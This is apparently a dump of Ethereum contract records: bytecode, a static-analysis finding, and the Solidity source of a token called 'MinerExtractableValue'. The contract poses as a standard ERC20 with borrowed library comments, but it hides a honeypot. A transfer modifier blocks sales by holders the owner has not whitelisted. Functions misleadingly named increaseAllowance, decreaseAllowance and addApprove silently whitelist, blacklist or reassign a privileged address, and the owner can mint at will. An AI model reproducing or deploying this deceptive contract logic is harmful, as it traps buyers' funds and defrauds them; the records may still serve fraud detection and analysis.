4820152601a6024820152793bb4ba34323930bb9d103130b630b731b29034b9903637bbb2b960311b6044820152606401610692565b33600090815260016020526040812080546001600160801b0384169081900390915581540390556002546001600160a01b031680610e4a5760405160009033906001600160801b038516908381818185875af1925050503d8060008114610df7576040519150601f19603f3d011682016040523d82523d6000602084013e610dfc565b606091505b5050905080610e445760405162461bcd60e51b8152602060048201526014602482015273657468207472616e73666572206661696c75726560601b6044820152606401610692565b50610f2b565b60025460405163a9059cbb60e01b81523360048201526001600160801b03841660248201526001600160a01b039091169063a9059cbb90604401602060405180830381600087803b158015610e9e57600080fd5b505af1158015610eb2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed691906112b5565b6040518060400160405280601c81526020017b1cdd185ad959081d1bdad95b881d1c985b9cd9995c8819985a5b195960221b81525090610f295760405162461bcd60e51b81526004016106929190611375565b505b336001600160a01b03167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d583604051610f6491906113fd565b60405180910390a25050565b6002546001600160a01b031680610fad57600080543490810182556001600160a01b03851682526001602052604090912080549091019055611147565b3415610fea5760405162461bcd60e51b815260206004820152600c60248201526b0dcdedc5af4cae4de40cae8d60a31b6044820152606401610692565b6000826001600160801b0316116110345760405162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b6044820152606401610692565b6040516323b872dd60e01b81523360048201523060248201526001600160801b03831660448201526001600160a01b038216906323b872dd90606401602060405180830381600087803b15801561108a57600080fd5b505af115801561109e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c291906112b5565b6040518060400160405280601c81526020017b1cdd185ad959081d1bdad95b881d1c985b9cd9995c8819985a5b195960221b815250906111155760405162461bcd60e51b81526004016106929190611375565b50600080546001600160801b03841690810182556001600160a01b038516825260016020526040909120805490910190555b826001600160a01b03167f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d836040516106c991906113fd565b6001600160a01b0381166111e55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610692565b6003546040516001600160a01b0380841692169060008051602061143583398151915290600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461124657600080fd5b919050565b80356001600160801b038116811461124657600080fd5b600060208284031215611273578081fd5b61127c8261122f565b9392505050565b60008060408385031215611295578081fd5b61129e8361122f565b91506112ac6020840161124b565b90509250929050565b6000602082840312156112c6578081fd5b8151801515811461127c578182fd5b6000602082840312156112e6578081fd5b61127c8261124b565b60008060408385031215611301578182fd5b61130a8361124b565b915060208301356001600160401b0381168114611325578182fd5b809150509250929050565b600060208284031215611341578081fd5b5051919050565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6000602080835283518082850152825b818110156113a157858101830151858201604001528201611385565b818111156113b25783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6001600160801b0391909116815260200190565b60008282101561142f57634e487b7160e01b81526011600452602481fd5b50039056fe8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0a2646970667358221220daa7c8f790ece21dfc00d0de89fd08e7ef50ffda5a7e3220e22120357436a5f764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
3,884
0xc5d87f9fac0f678bd1dcdb72d26d1796a209cf3a
pragma solidity ^0.6.0; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract MinerExtractableValue is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; //25 lines _mint(owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IER C20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb1461061f578063b2bdfa7b14610683578063dd62ed3e146106b7578063e12681151461072f576100f5565b806352b0f196146103aa57806370a082311461050057806380b2122e1461055857806395d89b411461059c576100f5565b806318160ddd116100d357806318160ddd1461029957806323b872dd146102b7578063313ce5671461033b5780634e6ec2471461035c576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506107e7565b005b6101ba61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3f565b60405180821515815260200191505060405180910390f35b6102a1610a5d565b6040518082815260200191505060405180910390f35b610323600480360360608110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b610343610b40565b604051808260ff16815260200191505060405180910390f35b6103a86004803603604081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b005b6104fe600480360360608110156103c057600080fd5b8101908080359060200190929190803590602001906401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111640100000000831117156104af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d76565b005b6105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7a565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc2565b005b6105a46110c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e45780820151818401526020810190506105c9565b50505050905090810190601f1680156106115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066b6004803603604081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116b565b60405180821515815260200191505060405180910390f35b61068b611189565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610719600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111af565b6040518082815260200191505060405180910390f35b6107e56004803603602081101561074557600080fd5b810190808035906020019064010000000081111561076257600080fd5b82018360208201111561077457600080fd5b8035906020019184602083028401116401000000008311171561079657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611236565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610999576001600260008484815181106108c857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061093357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108ad565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a355780601f10610a0a57610100808354040283529160200191610a35565b820191906000526020600020905b815481529060010190602001808311610a1857829003601f168201915b5050505050905090565b6000610a53610a4c611473565b848461147b565b6001905092915050565b6000600554905090565b6000610a74848484611672565b610b3584610a80611473565b610b3085604051806060016040528060288152602001612ea060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ae6611473565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b61147b565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c2f816005546113eb90919063ffffffff16565b600581905550610ca881600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610f745760006003905060006102149050610e82858481518110610e6157fe5b6020026020010151858581518110610e7557fe5b602002602001015161116b565b5085831015610f65576001806000878681518110610e9c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006003905060006102149050610f62878681518110610f1157fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61147b565b50505b50508080600101915050610e3c565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611085576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111615780601f1061113657610100808354040283529160200191611161565b820191906000526020600020905b81548152906001019060200180831161114457829003601f168201915b5050505050905090565b600061117f611178611473565b8484611672565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156113e757600180600084848151811061131657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112fc565b5050565b600080828401905083811015611469576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611501576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612eed6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611587576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e586022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117415750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611a485781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561180d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611893576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61189e868686612e2f565b61190984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d67565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611af15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b495750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611ea457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bd657508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611be357806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b611cfa868686612e2f565b611d6584604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df8846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d66565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156121be57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612009576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612014868686612e2f565b61207f84604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612112846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d65565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125d657600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122c05750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612315576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffff